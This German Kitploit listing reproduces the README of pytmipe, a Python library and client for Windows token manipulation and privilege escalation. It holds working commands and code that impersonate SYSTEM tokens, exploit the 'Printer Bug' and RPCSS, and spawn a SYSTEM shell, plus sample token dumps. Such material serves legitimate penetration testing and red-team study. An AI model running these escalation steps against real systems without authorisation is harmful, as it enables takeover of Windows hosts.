Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/quentinhardy/pytmipe
Privilege EscalationImpersonations-ToolsPost-ExploitationPenetrationstestsRed Teaming
GitHubquentinhardy/pytmipe

pytmipe

Python-Bibliothek und Client für Token-Manipulationen und Identitätswechsel zur Privilegienerweiterung auf Windows

Repository anzeigen
12323vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PYTMIPE & TMIPE

PYTMIPE (PYthon-Bibliothek für Token-Manipulation und Impersonation zur Privilegienausweitung) ist eine Python 3 Bibliothek zur Manipulation von Windows-Tokens und zur Verwaltung von Impersonationen, um auf Windows mehr Privilegien zu erlangen. TMIPE ist der Python 3-Client, der die pytmipe-Bibliothek verwendet.

Inhalt

  • Ein Python-Client: tmipe (python3 tmipe.py)
  • Eine Python-Bibliothek: pytmipe. Nützlich, um dieses Projekt in ein anderes zu integrieren
  • pytinstaller-Beispiele zum Erstellen von standalone-Exe-Dateien

Dokumentation

  • Folien „Windows Token Manipulation, Impersonation & Privilege Escalation“ (Englisch): Link

  • Artikel in MISC 112 (Französisch): Link

Hauptfunktionen

MethodeErforderliche Berechtigung(en)Betriebssystem (nicht abschließend)Direktes Ziel (max)
Token-Erstellung und -ImpersonationBenutzername und PasswortAlleLokaler Administrator
Token-Impersonation/-DiebstahlSeDebugPrivilegeAllent authority\system
Parent-PID-Spoofing (Handle-Vererbung)SeDebugPrivilege>= Vistant authority\system
Dienst (SCM)Lokaler Administrator (und hohe Integritätsstufe, falls UAC aktiviert)Allent authority\system oder Domänenkonto
WMI-EreignisLokaler Administrator (und hohe Integritätsstufe, falls UAC aktiviert)Allent authority\system
„Printer Bug“ LPESeImpersonatePrivilege (Dienstkonto)Windows 8.1, 10 & Server 2012R2/2016/2019nt authority\system
RPCSS-Dienst LPESeImpersonatePrivilege (Dienstkonto)Windows 10 & Server 2016/2019nt authority\system

Fähigkeiten

Die folgende nicht abschließende Liste zeigt einige in der pytmipe-Bibliothek implementierte Funktionen:

  • Token- und Berechtigungsverwaltung:
    • Berechtigung(en) für Token im aktuellen oder entfernten Thread abrufen, aktivieren oder deaktivieren
    • Lokale oder entfernte Token-Informationen abrufen
    • Effektives Token für den aktuellen Thread abrufen (Impersonation- oder Primärtoken)
  • Viele Informationen über ausgewählte Token abrufen:
    • Erhöhungstyp, Impersonationstyp, Verknüpftes Token mit Details, SID, ACLs, Standardgruppen, primäre Gruppe, Besitzer, Berechtigungen, Quelle
    • usw.
  • Alle zugänglichen Token auflisten (Primär- und Impersonation-Token) ab dem aktuellen Thread:
    • 2 verschiedene Methoden implementiert: "Thread"-Methode und "Handle"-Methode (bevorzugt)
    • Prüfen, ob das Token impersoniert werden kann
    • Informationen zu jedem Token abrufen (Erhöhungstyp, Impersonationstyp, Verknüpftes Token, SID usw.)
    • Alle Token abrufen, die nach Kontoname (SID) zugänglich sind
  • Ein Token oder Benutzer impersonieren:
    • Token erstellen und impersonieren (erfordert Anmeldeinformationen des Benutzers)
    • Token-Impersonation/-Diebstahl (bestimmte Berechtigungen erforderlich): ein ausgewähltes Token impersonieren
    • Prozess mit einem Token erstellen (bestimmte Berechtigungen erforderlich): ein ausgewähltes Token impersonieren und neuen Prozess starten Erstes nt authority\system-Token impersonieren, das gefunden wird
    • Primärtoken eines entfernten Prozesses mit PID impersonieren
  • Erweiterungsmethoden:
    • Parent-PID-Spoofing – Handle-Vererbung
    • Dienstverwaltung per direktem Befehl oder Named-Pipe-Impersonation: lokaler Administrator zu nt authority\system (oder anderem privilegierten Konto)
    • Aufgabenplanung per direktem Befehl oder Named-Pipe-Impersonation: lokaler Administrator zu nt authority\system
    • WMI-Job per direktem Befehl oder Named-Pipe-Impersonation: lokaler Administrator zu nt authority\system
    • Printer Bug: SeImpersonatePrivilege zu nt authority\system
    • RPCSS: SeImpersonatePrivilege zu nt authority\system
    • Berechtigungen erneut aktivieren über Aufgabenplanung und Named-Pipe-Impersonation

Abhängigkeiten

ctypes wird so weit wie möglich verwendet. Viele Funktionen von pywin32 wurden in pytmipe neu entwickelt, um die Verwendung von pywin32 zu vermeiden und eine bessere Portabilität zu erreichen. Das Modul für die Aufgabenplanung verwendet jedoch aus Zeitmangel weiterhin pywin32 (genauer pythoncom). Alle anderen Module verwenden nur ctypes.

VERWENDUNG

Für den Python-Client (genannt tmipe):

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command
    cangetadmin          Check if user can get admin access
    printalltokens       Print all tokens accessible from current thread
    printalltokensbyname
                         Print all tokens accessible from current thread by account name
    printalltokensbypid  Print all tokens accessible from current thread by pid
    printsystemtokens    Print all system tokens accessible from current
    searchimpfirstsystem
                         search and impersonate first system token
    imppid               impersonate primary token of selected pid and try to spawn cmd.exe
    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
    printerbug           exploit the "printer bug" for getting system shell
    rpcss                exploit "rpcss" for getting system shell
    spoof                parent PID Spoofing ("handle inheritance)"
    impuser              create process with creds with impersonation
    runas                create process with creds as runas
    scm                  create process with Service Control Manager

optional arguments:
  -h, --help             show this help message and exit
  --version              show program's version number and exit

Für die Python-Bibliothek (genannt pytmipe) siehe Quellcode und Beispiele. Normalerweise habe ich den Quellcode gut dokumentiert… Die meisten Funktionen sind dokumentiert.

Für die pyinstaller-Beispiele und Standalones siehe Dateien im Ordner src/examples/.

Beispiele

Wenn Sie wissen möchten, wie Sie die pytmipe-Bibliothek verwenden, sehen Sie sich den Ordner src/examples für viele Beispiele an.

Beispiel 1: nt authority\system erhalten

Um das erste system-Token zu impersonieren und eine cmd.exe-Eingabeaufforderung als system über den Python-Client (tmipe) zu erhalten:

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

Um dasselbe direkt mit der pytmipe-Bibliothek zu tun, siehe src/examples/searchAndImpersonateFirstSystemToken.py:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

Es wird eine cmd.exe-Eingabeaufforderung als system öffnen, wenn der aktuelle Windows-Benutzer die erforderlichen Rechte hat.

Natürlich können Sie aus diesem Quellcode mit pyinstaller eine Standalone-Exe erstellen.

Beispiel 2: Token abrufen

Um die im aktuellen Prozess verwendeten Primär- und Impersonation-Token abzurufen:

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

Ausgabe:

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

Um alle Token abzurufen, die vom aktuellen Thread aus zugänglich sind, organisiert nach PID, wenn nur die Impersonation möglich ist:

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

Ausgabe:

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

Wenn Sie diesen Vorgang mit der pytmipe-Bibliothek durchführen möchten, ist das auch einfach:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Beispiel 3: Token impersonieren

Sie können ein ausgewähltes Token impersonieren.

Zuerst alle Token gemäß Ihren Filtern abrufen (system-Token und Token, die vom aktuellen Thread impersoniert werden können):

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

Ausgabe:

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

Diese vorherige Ausgabe zeigt ein Impersonation-Token in der PID 2288 (ihandle 118) mit Integritätsstufe system. Es ist möglich, dieses spezifische Token mit folgendem Befehl zu impersonieren:

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

Dieser vorherige Befehl öffnet eine cmd.exe als nt authority\system.

Dies kann auch mit der pytmipe-Bibliothek durchgeführt werden. Der folgende Quellcode impersoniert das erste verfügbare system-Token, gibt das effektive Token aus und beendet die Impersonation:

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("No one token found for impersonation")
else:
    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Current Effective token for current thread after impersonation:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Current Effective token for current thread (impersonation finished):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Spende

Wenn Sie meine Arbeit durch eine Spende unterstützen möchten, würde ich mich sehr freuen:

Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

Tool herunterladen